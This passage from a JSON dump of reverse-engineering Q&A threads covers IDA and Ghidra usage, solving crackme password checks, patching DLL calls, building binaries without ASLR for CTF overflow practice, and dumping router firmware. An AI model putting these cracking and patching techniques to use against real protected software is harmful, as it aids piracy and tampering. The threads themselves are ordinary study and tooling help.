        "Tags": "|ida|c|hexrays|decompile|",
        "Answer": "<p>The answer of @igor says about algorithm failures of IDA. Beside, I think you can use a function which is not type-able in the type system of the decompilation target language of IDA (I believe it's a subset of C), e.g.</p>\n\n\n\n<pre><code>int foo(void *f, int i) {\n    return ((int (*)(void*, int))(f))(foo, i);\n}\n\nclang -c test.c\n</code></pre>\n\n<p>then IDA decompilers gives something likes</p>\n\n\n\n<pre><code>__int64 __fastcall foo(__int64 (__fastcall *a1)(__int64 (__fastcall *)(), _QWORD), unsigned int a2)\n{\n  return a1(foo, a2);\n}\n</code></pre>\n\n<p>which is obviously not correct: <code>foo</code> is recognized simultaneously as a function of two params and one param.</p>\n"
    },
    {
        "Id": "22835",
        "CreationDate": "2019-12-26T12:59:22.710",
        "Body": "<p>I'm trying to understand the behaviour of the code below so I can determine what input will trigger the \"YOU DID IT !~!\" string (at the end of the program instructions):</p>\n\n<pre>\n.text:00C21034 Buf= byte ptr -6Ch\n.text:00C21034 var_68= byte ptr -68h\n.text:00C21034 var_4= dword ptr -4\n.text:00C21034\n.text:00C21034 push    ebp\n.text:00C21035 mov     ebp, esp\n.text:00C21037 sub     esp, 6Ch\n.text:00C2103A mov     eax, ___security_cookie\n.text:00C2103F xor     eax, ebp\n.text:00C21041 mov     [ebp+var_4], eax\n.text:00C21044 push    ebx\n.text:00C21045 push    offset aPleaseEnterThe          ; \"Please enter the password: \"\n.text:00C2104A call    sub_C21006\n.text:00C2104F xor     ebx, ebx\n.text:00C21051 push    ebx\n.text:00C21052 call    ds:__acrt_iob_func\n.text:00C21058 push    eax                             ; File\n.text:00C21059 lea     eax, [ebp+Buf]\n.text:00C2105C push    64h                             ; MaxCount\n.text:00C2105E push    eax                             ; Buf\n.text:00C2105F call    ds:fgets\n.text:00C21065 lea     ecx, [ebp+Buf]\n.text:00C21068 add     esp, 14h\n.text:00C2106B lea     edx, [ecx+1]\n.text:00C2106E\n.text:00C2106E loc_C2106E:                             ; CODE XREF: sub_C21034+3F\u2193j\n.text:00C2106E mov     al, [ecx]\n.text:00C21070 inc     ecx\n.text:00C21071 test    al, al\n.text:00C21073 jnz     short loc_C2106E\n.text:00C21075 sub     ecx, edx\n.text:00C21077 cmp     ecx, 5\n.text:00C2107A jnz     short loc_C210C3\n.text:00C2107C mov     [ebp+var_68], bl\n.text:00C2107F\n.text:00C2107F loc_C2107F:                             ; CODE XREF: sub_C21034+5E\u2193j\n.text:00C2107F mov     eax, ebx\n.text:00C21081 and     eax, 3\n.text:00C21084 mov     al, [ebp+eax+Buf]\n.text:00C21088 xor     byte_C23018[ebx], al\n.text:00C2108E inc     ebx\n.text:00C2108F cmp     ebx, 0Ah\n.text:00C21092 jb      short loc_C2107F\n.text:00C21094 mov     ecx, offset byte_C23018\n.text:00C21099 mov     edx, offset loc_C23024\n.text:00C2109E mov     eax, [ecx]\n.text:00C210A0 cmp     eax, [edx]\n.text:00C210A2 jnz     short loc_C210C3\n.text:00C210A4 mov     eax, [ecx+4]\n.text:00C210A7 cmp     eax, [edx+4]\n.text:00C210AA jnz     short loc_C210C3\n.text:00C210AC movzx   eax, byte ptr [ecx+8]\n.text:00C210B0 cmp     al, [edx+8]\n.text:00C210B3 jnz     short loc_C210C3\n.text:00C210B5 push    offset aYouDidIt                ; \"YOU DID IT !~!\\r\\n\"\n.text:00C210BA call    sub_C21006\n.text:00C210BF xor     eax, eax\n.text:00C210C1 jmp     short loc_C210D0\n.text:00C210C3 ; ---------------------------------------------------------------------------\n.text:00C210C3\n.text:00C210C3 loc_C210C3:                             ; CODE XREF: sub_C21034+46\u2191j\n.text:00C210C3                                         ; sub_C21034+6E\u2191j ...\n.text:00C210C3 push    offset aOhhhhNooTryAga          ; \"Ohhhh noo... try again.\\r\\n\"\n.text:00C210C8 call    sub_C21006\n.text:00C210CD xor     eax, eax\n.text:00C210CF inc     eax\n</pre>\n\n<p><br>\n<strong>NOTE:</strong><br>\nThe goal here is to find the correct input. I know that I can just put the IP where I want and make the program print it.</p>\n\n<p><br>\n<strong>What I understood so far:</strong></p>\n\n<p>The program asks for input in this instruction:</p>\n\n<pre>\n.text:00C2105F call    ds:fgets\n</pre>\n\n<p>After that, it runs a loop that counts how many chars are in the input, including the \"new line\" char at the end (when the user gives input and presses \"enter\"):</p>\n\n<pre>\n.text:00C2106E loc_C2106E:                             ; CODE XREF: sub_C21034+3F\u2193j\n.text:00C2106E mov     al, [ecx]\n.text:00C21070 inc     ecx\n.text:00C21071 test    al, al\n.text:00C21073 jnz     short loc_C2106E\n</pre>\n\n<p>Then, it subtracts the address of the last input char and the address of the first input char to determine the input's length:</p>\n\n<pre>\n.text:00C21075 sub     ecx, edx\n.text:00C21077 cmp     ecx, 5\n.text:00C2107A jnz     short loc_C210C3\n</pre>\n\n<p>If the input length is different than 5 (including the \"new line\" char), then it jumps to this label that prints out \"Ohhhh noo... try again.\" and terminates the program:</p>\n\n<pre>\n.text:00C210C3 push    offset aOhhhhNooTryAga          ; \"Ohhhh noo... try again.\\r\\n\"\n.text:00C210C8 call    sub_C21006\n</pre>\n\n<p>if the input length is exactly 5 (including the \"new line\" char), then it proceeds to this instruction that removes the \"new line\" char from the end of the input string, such that instead of 'A' hexa, there will be '0' hexa (bl initially have a value of 0):</p>\n\n<pre>\n.text:00C2107C mov     [ebp+var_68], bl\n</pre>\n\n<p>So, if the input's length is 5 (including the new line char), it should proceeds to the code below.\nIt's a loop that runs 10 times. ebx is initially 0, and it keeps running until ebx = 0A hexa = 10 decimal:</p>\n\n<pre>\n.text:00C2107F loc_C2107F:                             ; CODE XREF: sub_C21034+5E\u2193j\n.text:00C2107F mov     eax, ebx\n.text:00C21081 and     eax, 3\n.text:00C21084 mov     al, [ebp+eax+Buf]\n.text:00C21088 xor     byte_C23018[ebx], al\n.text:00C2108E inc     ebx\n.text:00C2108F cmp     ebx, 0Ah\n.text:00C21092 jb      short loc_C2107F\n</pre>\n\n<p>Now, the thing about this loop is that the following instruction guarentees that eax will always have values in the range 0-3:</p>\n\n<pre>\n.text:00C21081 and     eax, 3\n</pre>\n\n<p>So, supposed I entered the input \"G00D\", that loop will XOR each char of the input string with every char of the string \"G00D job!\" (byte_C23018 that appears in the XOR instruction stores this string, see \"P.S\" at the end of the post), here is a demo of this loop ('20h' is the ascii value of the \"space\" char):</p>\n\n<pre>\n  eax = 0  |  eax = 1  |   eax = 2  |  eax = 3  |    eax = 0    |  eax = 1  |etc\nG XOR G = 0|0 XOR 0 = 0| 0 XOR 0 = 0|D XOR D = 0|G XOR '20h' = g|0 XOR j = z|etc\n</pre>\n\n<p>After that loop I'm starting to struggle.<br>\nThe 2 labels in the code below are 6 addresses away from each other:</p>\n\n<pre>\n.text:00C21094 mov     ecx, offset byte_C23018\n.text:00C21099 mov     edx, offset loc_C23024\n</pre>\n\n<p>But they have to point to exactly the same address so this \"cmp\" instruction that comes after it will succeed:</p>\n\n<pre>\n.text:00C210A0 cmp     eax, [edx]\n</pre>\n\n<p>Otherwise - the condition for the \"jnz\" instruction below is met, and it jumps to that label that prints the \"oh no try again\" string:</p>\n\n<pre>\n.text:00C210A2 jnz     short loc_C210C3\n</pre>\n\n<pre>\n.text:00C210C3 push    offset aOhhhhNooTryAga          ; \"Ohhhh noo... try again.\\r\\n\"\n.text:00C210C8 call    sub_C21006\n</pre>\n\n<p>Any suggestions or ideas? did I understand something wrong?</p>\n\n<p>Thanks in advance!</p>\n\n<p><br>\n<strong>P.S:</strong><br>\nThis is where the \"G00D job!\" is stored. Notice that the \"G\" is '47h'</p>\n\n<pre>\n.data:00C23018 byte_C23018 db 47h                      ; DATA XREF: sub_C21034+54\u2191w\n.data:00C23018                                         ; sub_C21034+60\u2191o\n.data:00C23019 a00dJob db '00D job!',0\n.data:00C23022 align 4\n.data:00C23024\n.data:00C23024 loc_C23024:                             ; DATA XREF: sub_C21034+65\u2191o\n.data:00C23024 add     eax, 62657D71h\n.data:00C23029 sub     esp, [edx]\n.data:00C2302B inc     ebx\n.data:00C2302C arpl    [eax], ax\n</pre>\n\n<p>And if I input \"G00D\", it stores it here:</p>\n\n<pre>\ndebug007:00BBF8A0 db  47h ; G\ndebug007:00BBF8A1 db  30h ; 0\ndebug007:00BBF8A2 db  30h ; 0\ndebug007:00BBF8A3 db  44h ; D\n</pre>\n",
        "Title": "Finding the correct input of an executable to print out the flag. IDA 7",
        "Tags": "|ida|disassembly|assembly|crackme|",
        "Answer": "<p>You were almost there. </p>\n\n<blockquote>\n  <p>But they have to point to exactly the same address so this \"cmp\" instruction that comes after it will succeed</p>\n</blockquote>\n\n<p>This statement is incorrect. Not addresses are being compared, but the data at each. The code, starting from <code>.text:00C21094</code> compares <code>13</code> subsequent bytes at <code>byte_C23018</code> with their counterparts at <code>loc_C23024</code>.</p>\n\n<p>So, to get the correct password, we have to investigate them. It's easy to see, that at the start of the program, they are not the same, so they have to be modified at some point. The only place where it happens is the loop at <code>loc_C2107F</code>. It <code>xor</code>s subsequent letters of your password with the letters of \"<code>G00D job!</code>\" string. As you have pointed out, password has to have length <code>5</code>, including <code>\\n</code> character, so it makes sense that the loop only uses first four bytes of the password.</p>\n\n<p>But <code>xor</code> is invertible operation; in other words, if <code>A xor B = C</code>, then <code>A = C xor B</code>, since <code>B xor B = 0</code> and <code>A xor 0 = A</code>. </p>\n\n<p>In your case, <code>A</code> is the password you are providing, <code>B</code> is the \"<code>G00d job!</code>\" string, and <code>C</code> is the string at <code>loc_C23024</code>. So, to find relevant <code>A</code> you just need to <code>xor</code> <code>B</code> with <code>C</code>.</p>\n"
    },
    {
        "Id": "22838",
        "CreationDate": "2019-12-27T01:33:31.643",
        "Body": "<p>I've been researching on how to modify the textures of Crazy Taxi 3 for a while now and I have pretty much hit a brick wall.<br>\nThe game stores its texture assets in <code>.art</code> files, which, from what I understand, contain several textures in each of them, due to there being many banks of textures. There is also a <code>Sprites</code> folder containing these files that indicate the same.<br>\nA quick Google search led me to believe that this may be the <a href=\"http://fileformats.archiveteam.org/wiki/ART_(AOL_compressed_image)\" rel=\"nofollow noreferrer\">AOL Image Format</a> used in its software, however AOL 9.0 kept throwing errors when trying to open the files. No dice.<br>\nAfter searching more I found that <a href=\"http://fileformats.archiveteam.org/wiki/ART_(PFS:_First_Publisher)\" rel=\"nofollow noreferrer\">PFS: First Publisher used this extension as well for its clip art</a>. The files do not exactly match <a href=\"http://fileformats.archiveteam.org/wiki/ART_(PFS:_First_Publisher)\" rel=\"nofollow noreferrer\">the structure documented in this wiki</a>, but every .art file has something that looks like a table of information <em>in that structure</em> at the start, and then possibly image data. I have also observed that the string <code>GXTX</code> is repeated many times, may suggest that it might be a pointer of the beginning of a new image.<br>\nOther than that, I have no idea how this file format may work. It seems like it is uncompressed image data, however after opening it in many programs I have given up and need help.</p>\n\n<hr>\n\n<p><strong>UPDATE 1</strong>:<br>\nI have found a great tool called <a href=\"https://forum.xentax.com/blog/?p=821\" rel=\"nofollow noreferrer\">Texturefinder</a> that helped me figure out that these textures are compressed with DXT, however I am unsure which version, as half of a certain texture bank may look great in DXT1, while another half looks jumbled until I switch to DXT3 or 5. The container format possibly has information on which algorithm to use in a table before the images, as at the start of each texture file there is plenty of non-image data, or at least data that this tool can not decide. Here are a few examples of this working in one algorithm vs the other:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Ukd5l.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ukd5l.png\" alt=\"DXT1a @ 512px width\"></a> <a href=\"https://i.stack.imgur.com/jhI9l.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jhI9l.png\" alt=\"DXT3 @ 256px width\"></a></p>\n\n<p>So, here is an updated list of what I have gathered:</p>\n\n<ul>\n<li><code>.art</code> files contain the string <code>GXTX</code> many times, usually followed by about 12 bytes that have small values (something like <code>80 00 80 00 00 80 00 00 01 00 05 00</code>), likely an image separator</li>\n<li><a href=\"http://wiki.polycount.com/wiki/DXT\" rel=\"nofollow noreferrer\">The files contain many textures compressed with DXT</a></li>\n<li>Textures may be compressed with differing forms of DXT (possibly DXT1 and DXT3)</li>\n<li>Textures in banks may have differing widths/heights</li>\n<li>Every texture bank has a sizeable amount of non-image data at the start</li>\n<li>The textures are upside down</li>\n</ul>\n\n<p><a href=\"https://anonfiles.com/35E491Jcn5/samples_zip\" rel=\"nofollow noreferrer\">Here are some more samples for comparison.</a></p>\n",
        "Title": "Understanding proprietary game texture/image format (.art)",
        "Tags": "|file-format|",
        "Answer": "<p>I've made some research and found that the textures uses one of these formats, depending on the 2 bytes value the texture has (10, 11, 4, 5, 0 or 2063): </p>\n\n<p>\"DXT1, DXT3, A8R8G8B8, A4R4G4B4, R5G6B5, A1R5G5B5\"</p>\n"
    },
    {
        "Id": "22851",
        "CreationDate": "2019-12-28T01:17:12.550",
        "Body": "<p>In the following function <code>foo</code></p>\n\n<pre><code>.text:0000000000401110 foo             proc near\n.text:0000000000401110\n.text:0000000000401110 var_8           = qword ptr -8\n.text:0000000000401110\n.text:0000000000401110                 push    rbp\n.text:0000000000401111                 mov     rbp, rsp\n.text:0000000000401114                 mov     [rbp+var_8], rdi\n.text:0000000000401118                 mov     rax, [rbp+var_8]\n.text:000000000040111C                 mov     ecx, [rax]\n.text:000000000040111E                 mov     rax, [rbp+var_8]\n.text:0000000000401122                 add     ecx, [rax+4]\n.text:0000000000401125                 movsxd  rax, ecx\n.text:0000000000401128                 mov     rdx, [rbp+var_8]\n.text:000000000040112C                 add     rax, [rdx+8]\n.text:0000000000401130                 pop     rbp\n.text:0000000000401131                 retn\n.text:0000000000401131 foo             endp\n</code></pre>\n\n<p>which is actually</p>\n\n\n\n<pre><code>struct S {\n    int a;\n    int b;\n    long long c;\n};\n\nint foo(struct S *s) {\n    return s-&gt;a + s-&gt;b + s-&gt;c;\n}\n</code></pre>\n\n<p>I've defined the struct <code>S</code> in IDA (via Shift-F9/Ins...), how can I specify that <code>rdi</code> is the pointer to the base of the struct, so that the disassembly becomes something like this</p>\n\n<pre><code>...\n.text:0000000000401118                 mov     rax, [rbp+var_8]\n.text:000000000040111C                 mov     ecx, [p0.a]\n.text:000000000040111E                 mov     rax, [rbp+var_8]\n.text:0000000000401122                 add     ecx, [p0.b]\n.text:0000000000401125                 movsxd  rax, ecx\n.text:0000000000401128                 mov     rdx, [rbp+var_8]\n.text:000000000040112C                 add     rax, [p0.c]\n...\n</code></pre>\n\n<p>There is a <a href=\"https://reverseengineering.stackexchange.com/questions/3148/ida-setting-a-register-as-a-basepointer-to-struct\">similar question</a> but it applies for the case where, for example <code>rbx</code> is the base pointer and fields are accessed via <code>[rbx+offset]</code>. In my case, <code>rdi</code> is the base pointer but fields are not accessed via <code>[rdi+offset]</code>.</p>\n",
        "Title": "IDA: apply function parameter as struct pointer",
        "Tags": "|ida|struct|",
        "Answer": "<p>Since you code seems to be un-optimized, you have to manually follow the memory access manually. In your case, you have to apply this structure offset (T) at 0x000000000040111C (rax), 0x0000000000401122 (rax) and 0x000000000040112C (rdx). AFAIK, there's no easy way to define a local variable as a pointer to a structure and automatically show reference to the structure. Unless you are working with hexrays decompiler.</p>\n"
    },
    {
        "Id": "22862",
        "CreationDate": "2019-12-29T05:32:41.617",
        "Body": "<p>Here is the Ghidra decompiler output for a crackme problem. Specifically, <a href=\"https://crackmes.one/crackme/5d443bb533c5d444ad3018b3\" rel=\"nofollow noreferrer\">this one</a>:<br>\nCode:</p>\n\n<pre><code>undefined8 entry(undefined8 param_1,char *param_2)\n{\n  int iVar1;\n  size_t sVar2;\n  char *pcVar3;\n  char *pcVar4;\n  char local_118 [9];\n  char local_10f;\n  long local_10;\n\n  local_10 = *(long *)___stdinp;\n  _strcspn(\"Enter the password...\\n\",param_2);\n  _printf(local_118,0x100,*(undefined8 *)_fgets);\n  pcVar3 = \"\\n\";\n  sVar2 = _strlen(local_118);\n  pcVar4 = local_118;\n  local_118[sVar2] = '\\0';\n  iVar1 = dyld_stub_binder();\n  if (iVar1 == 10) {\n    if (local_118[0] == local_10f) {\n      _strcspn(\"Correct!\\nthe password is: %s\\n\",local_118);\n    }\n    else {\n      _wrong_password(pcVar4,pcVar3);\n    }\n  }\n  else {\n    _wrong_password(pcVar4,pcVar3);\n  }\n  if (*(long *)___stdinp == local_10) {\n    return 0;\n  }\n</code></pre>\n\n<p>I'm having some trouble understanding the output.</p>\n\n<ol>\n<li>the printf and strcspn functions seem to be switched? </li>\n<li>the <code>local_10f</code> variable is never initialized, and yet is still used to compare to the passcode.</li>\n<li>I know from reading the solution, that as long as the first and last characters are the same, and the length is 10, then the passcode will work. How does \"dyld_stub_binder\" check for length? Where do the first and last characters get compared?</li>\n</ol>\n\n<p>Thanks for any help.</p>\n",
        "Title": "Weird Ghidra decompiler output for simple crack me",
        "Tags": "|ghidra|",
        "Answer": "<p>It seems like your <code>Ghidra</code> decompilation went wrong. Are you using the last version of <code>Ghidra</code>? </p>\n\n<p>The output that I get in the latest version is:</p>\n\n<pre><code>undefined8 entry(void)\n\n{\n  size_t sVar1;\n  char local_118 [9];\n  char local_10f;\n  long local_10;\n\n  local_10 = *(long *)___stack_chk_guard;\n  _printf(\"Enter the password...\\n\");\n  _fgets(local_118,0x100,*(FILE **)___stdinp);\n  sVar1 = _strcspn(local_118,\"\\n\");\n  local_118[sVar1] = '\\0';\n  sVar1 = _strlen(local_118);\n  if ((int)sVar1 == 10) {\n    if (local_118[0] == local_10f) {\n      _printf(\"Correct!\\nthe password is: %s\\n\",local_118);\n    }\n    else {\n      _wrong_password();\n    }\n  }\n  else {\n    _wrong_password();\n  }\n  if (*(long *)___stack_chk_guard == local_10) {\n    return 0;\n  }\n                    /* WARNING: Subroutine does not return */\n  ___stack_chk_fail();\n}\n</code></pre>\n\n<p>Which makes much more sense. I would guess that your <code>Ghidra</code> version has some problems with parsing the <code>plt</code>/imports. Upgrade to the latest version and check again. </p>\n\n<p>As for your second question: \nWhen you don't understand the decompilation, you should always go to the disassembly. </p>\n\n<pre><code>   100000e42        MOVSX      EAX,byte ptr [RBP + local_118]\n\n   100000e49        MOVSX      ECX,byte ptr [RBP + local_10f]\n\n   100000e50        CMP        EAX,ECX\n</code></pre>\n\n<p>You can see that there is a compersion between two bytes from the stack. </p>\n\n<p>In this case <code>RBP + local_118</code> is the pointer to the stack location of the user string. \n<code>0x118 - 0x10f = 9</code> => You are looking at the last character (index 9 of the string is the 10th character). So the comparison is between the first and the last char. </p>\n"
    },
    {
        "Id": "22880",
        "CreationDate": "2019-12-31T13:28:09.713",
        "Body": "<p>I'm interested in open a binary file (<code>.bin</code>, without arch info), and analyze it with <code>analyzeHeadless.bat</code> (Ghidra version without GUI). </p>\n\n<p>I know what is the architecture of the file, so I pass it as a flag to the analyzer.</p>\n\n<p>My command line is:\n<code>analyzeHeadless.bat  &lt;project_location&gt;  &lt;project_name&gt; -import &lt;my_file&gt; -processor &lt;my_known_processor&gt; -postscript &lt;my_script.py&gt; -scriptPath &lt;path&gt;</code></p>\n\n<p>my_script.py is:</p>\n\n<pre><code>for block in getMemoryBlocks():\n    current = block.getStart().getOffset()\n    end = block.getEnd().getOffset()\n    addr = currentProgram.getAddressFactory().getAddress(hex(current).replace('L', ''))\n    disassemble(addr)\n    current +=1\n\nfunc = getFirstFunction()\nprint(\"First func is:    \" + str(func))\n</code></pre>\n\n<p>I try to disassemble every address (looks like Ghigra doesn't do it itself), and after that I want to print the first function.</p>\n\n<p>The problem is:\n<code>func</code> appears to be <code>None</code>.</p>\n\n<p>But if after the headless execution I open the project in the GUI <code>Ghidra</code>, and execute:</p>\n\n<pre><code>func = getFirstFunction()\nprint(\"First func is:    \" + str(func))\n</code></pre>\n\n<p>It works and gets me the function.</p>\n\n<p>Any ideas what am I doing wrong? I guess there is some analysis that runs in the background and created the functions. How can I run it in my python script? </p>\n",
        "Title": "Ghidra Headless Analyzer - Create Functions",
        "Tags": "|python|ghidra|",
        "Answer": "<p>The solution that I found is:</p>\n\n<p><code>analyze(currentProgram)</code></p>\n\n<p>Just after the disassembly. </p>\n"
    },
    {
        "Id": "22886",
        "CreationDate": "2020-01-02T05:59:48.067",
        "Body": "<p>I am trying to patch a function in 64-bit Windows DLL to load data I have inserted into the resource table of the DLL. I want to insert code something like this:</p>\n\n<pre><code>mov     r8d, 0Ah        ; lpType\nmov     edx, 0h         ; lpName\nxor     ecx, ecx        ; hModule\ncall    cs:FindResourceW\nmov     [rsp+148h+var_B8], rax   ; using existing var_B8 to store hResInfo\nmov     rdx, [rsp+148h+var_B8] ; hResInfo\nxor     ecx, ecx        ; hModule\ncall    cs:LoadResource\nmov     [rsp+148h+var_B0], rax ; using existing var_B0 to store hResData\nmov     rcx, [rsp+148h+var_B0] ; hResData\ncall    cs:LockResource\n; data is now in location referenced by RAX register\n</code></pre>\n\n<p>The first problem seems to be the \"Assemble\" function in IDA pro doesn't handle 64-bit operands, so instructions such as mov r8d, 0Ah I have to assemble by hand and patch via bytes.</p>\n\n<p>However I am not sure how to easily generate the call cs:FindResourceW instruction. While the \"assembly\" feature generates code the disassembly shows it as gibberish, call instruction \"assembled\" at 00000272D0B83B4C:</p>\n\n<pre><code>.text:00000272D0B83B3F                 mov     r8d, 0Ah\n.text:00000272D0B83B45                 mov     edx, 0\n.text:00000272D0B83B4A                 xor     ecx, ecx\n.text:00000272D0B83B4A ; ---------------------------------------------------------------------------\n.text:00000272D0B83B4C                 db  9Ah ; \u0161\n.text:00000272D0B83B4D                 db  40h ; @\n.text:00000272D0B83B4E                 db  94h ; \u201d\n.text:00000272D0B83B4F                 db 0BDh ; \u00bd\n.text:00000272D0B83B50                 db 0D0h ; \u00d0\n.text:00000272D0B83B51                 db    6\n.text:00000272D0B83B52                 db    0\n.text:00000272D0B83B53                 db  89h ; \u2030\n.text:00000272D0B83B54                 db  84h ; \u201e\n.text:00000272D0B83B55 ; ---------------------------------------------------------------------------\n.text:00000272D0B83B55                 and     al, 89h\n.text:00000272D0B83B55 ; ---------------------------------------------------------------------------\n.text:00000272D0B83B57                 db  45h ; E\n.text:00000272D0B83B58                 db    8\n</code></pre>\n\n<p>To currently assembly I am taking location from import table:</p>\n\n<pre><code>.idata:00000272D0BD9440 ; HRSRC __stdcall FindResourceW(HMODULE hModule, LPCWSTR lpName, LPCWSTR lpType)\n.idata:00000272D0BD9440                 extrn FindResourceW:qword\n</code></pre>\n\n<p>Subtracting location where I will insert my code, and subtract 6.</p>\n\n<pre><code>  272D0B83B4A (Code location)\n -272D0BD9440 (Import table location)\n -6\n===========\n00 05 58 F0\n</code></pre>\n\n<p>I am then patching with FF 15 followed by the result in reverse order such as inserting bytes:</p>\n\n<pre><code>FF 15 F0 58 05 00\n</code></pre>\n\n<p>This works but is time consuming, is there any better patching option for inserting call instructions quickly.</p>\n",
        "Title": "How to Insert Call to Already Imported Function in amd64 Windows DLL using IDA Pro?",
        "Tags": "|ida|patching|amd64|",
        "Answer": "<p><a href=\"http://www.keystone-engine.org/keypatch/\" rel=\"nofollow noreferrer\">Keypatch</a> is a plugin for IDA that uses keystone to assemble instructions for patching. It works much better than IDA's old built-in assembler, and it should be able to handle 64-bit operands.</p>\n"
    },
    {
        "Id": "22889",
        "CreationDate": "2020-01-02T10:47:20.487",
        "Body": "<p>I want to create an executable that keeps the same virtual address during different execution runs. </p>\n\n<p>This is definitely possible because I've seen these files in CTFs(Capture the flag) where the player has to use a buffer overflow, to rewrite the return address in order to execute a \"secret\" function.</p>\n\n<p>So, is there a way to tell GCC to generate an executable that \"doesn't\" allow memory randomization on execution?</p>\n\n<p>Or maybe I'm thinking it all wrong. Any info you can share to point me on the right direction will be appreciated.</p>\n",
        "Title": "How to create an executable that keeps the same virtual address on different runs",
        "Tags": "|c|dynamic-analysis|executable|",
        "Answer": "<p>As part of ASLR, operating systems use code relocation tables embedded in an executable to change the location where an executable image is located.</p>\n\n<p>If you remove the relocation tables (or generate an executable without it to begin with) the operating system will not be able to relocate the executable image, however other images also loaded to the same process's memory address will still be relocated.</p>\n\n<p>Additionally, an OS may implement/support ASLR related executable file flag to opt-in or out of ASLR and again depending on the OS and user configuration, executables that don't support ASLR may still be randomized.</p>\n\n<p>Visual studio have two related flags, <code>/FIXED</code> and <code>/DYNAMICBASE</code>, for including relocation tables and opting-in for ASLR.</p>\n\n<p>On GCC, <code>-fPIE</code> is used to enable relocation tables (position independent executable).</p>\n"
    },
    {
        "Id": "22906",
        "CreationDate": "2020-01-04T20:51:04.040",
        "Body": "<p>I have a complicated question to ask so I will try my best to be clear.</p>\n\n<p>I have this binary I am trying to reverse that came with a pdb file.\nI have dumped the compilands of the binary to begin with.</p>\n\n<p>I want to reproduce the source code of the binary as close to the original as possible so I see in the first compiland that somefile.obj(let's call it that) consists of ../file_path/somefile.cpp and ../compile_path/xlocale</p>\n\n<p>I then dumped the line numbers for somefile.cpp and using ida pro as my disassembler and hex-rays decompiler as a guide.</p>\n\n<p>From the source lines, hex-rays and some manual work I have managed to recreate somefile.cpp to the point that it's diasassembly is identical to the original file's one.</p>\n\n<p>The somefile.cpp consists of an empty constructor and destructor and a few function implementations.</p>\n\n<p>My problem is, the dumped compiland does not show a somefile.h as part of the object but the functions in somefile.cpp are methods of a somefile class (I got the entire class definition from the pdb). I can always create my own header file and put the class definition in there but that's not the purpose.</p>\n\n<p>So, my question is: where does the original somefile.cpp get the class definition from? Is there a way I can get such information at all, or do I have to guess?</p>\n\n<p>I am very sorry for the long text. </p>\n",
        "Title": "Class definition",
        "Tags": "|ida|msvc|",
        "Answer": "<p>Depending on the original source, the class definition could be entirely in the header file. Class definitions are no longer useful in object files as the compiler already knows how fields and methods are laid out.</p>\n\n<p>You have to guess the original definition. Keep in mind that you already have guessed a lot when reverting via hex-rey as C++ allows preprocessing, templating and macro expansion. This means that the types you are using are of the correct size, but have lost their semantic meaning that in the original source code they might have: e.g. custom typedefs are usually lost. </p>\n"
    },
    {
        "Id": "22911",
        "CreationDate": "2020-01-05T16:29:24.960",
        "Body": "<p>I was trying to understand the <code>IsDebuggerPresent()</code> function exported by kernelbase.dll by importing the file on Ghidra. But Ghidra can't show me the proper disassembly or decompilation of function even though disassembly works fine in PE Bear? What could be the issue? I don't know if this is the proper place to post this so please guide me to a place if it isn't. Thanks!</p>\n\n<p><a href=\"https://i.stack.imgur.com/RiU7s.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RiU7s.jpg\" alt=\"Ghidra Disassembly/Decompilation Output\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/CKEEh.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CKEEh.jpg\" alt=\"PE Bear Disassembly Output\"></a></p>\n",
        "Title": "Ghidra can't Decompile kernelbase.dll exported functions?",
        "Tags": "|disassembly|dll|ghidra|",
        "Answer": "<p>Try to do <code>ctrl + A</code> - select all and then press <code>D</code> to disassemble. good chance it will solve your problem. </p>\n"
    },
    {
        "Id": "22915",
        "CreationDate": "2020-01-05T18:09:06.290",
        "Body": "<p>I would like to use ildasm on Linux. The original one, that comes with the .NET SDK and can be found on Windows e.g. at <code>c:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v8.0A\\bin\\NETFX 4.0 Tools\\</code>.</p>\n\n<p>I found <a href=\"https://www.nuget.org/packages/dotnet-ildasm/\" rel=\"nofollow noreferrer\">dotnet-ildasm</a> and managed to install it on my Ubuntu 18.04. But I am unsure if this is the same as the \"original\" one.</p>\n\n<ul>\n<li>Is dotnet-ildasm the same as Microsoft ildasm?</li>\n<li>Did someone mangage to install the Microsoft ildasm on Linux?</li>\n</ul>\n",
        "Title": "ildasm on Linux: \"original\" ildasm.exe same as dotnet-ildasm?",
        "Tags": "|linux|.net|",
        "Answer": "<p>The original one was a native executable and this one is build in .NET by <a href=\"https://github.com/pjbgf/dotnet-ildasm/blob/master/src/dotnet-ildasm/dotnet-ildasm.csproj#L23\" rel=\"nofollow noreferrer\">utilizing</a> a <a href=\"https://www.mono-project.com/docs/tools+libraries/libraries/Mono.Cecil/\" rel=\"nofollow noreferrer\">Mono.Cecil</a> library to get the assembly information so if I would have to answer your first question I would answer - no, they are not the same.</p>\n\n<p>Not sure about your second question as original one was Windows executable so there's no point installing it on Linux. I would use the one you linked dotnet-ildasm or <a href=\"https://github.com/mono/ikdasm\" rel=\"nofollow noreferrer\">ikdasm</a> from the Mono project.</p>\n\n<p>Why are you so focused on having the \"original\" one?</p>\n"
    },
    {
        "Id": "22927",
        "CreationDate": "2020-01-07T08:42:18.593",
        "Body": "<p>I am currently working on a Netgear router having MX25L1606E rom chip, my goal is to extract firmware for reverse engineering but <a href=\"https://flashrom.org/Flashrom\" rel=\"nofollow noreferrer\">flashrom</a> don't have support for it. So question is how someone can read data from rom by making their own program or script. I've tried with buspirate but I don't know what would be specific SPI mode settings to read data out of this chip. </p>\n",
        "Title": "If flashrom tool don't have support for rom chip what are the ways you can extract data without it?",
        "Tags": "|hardware|",
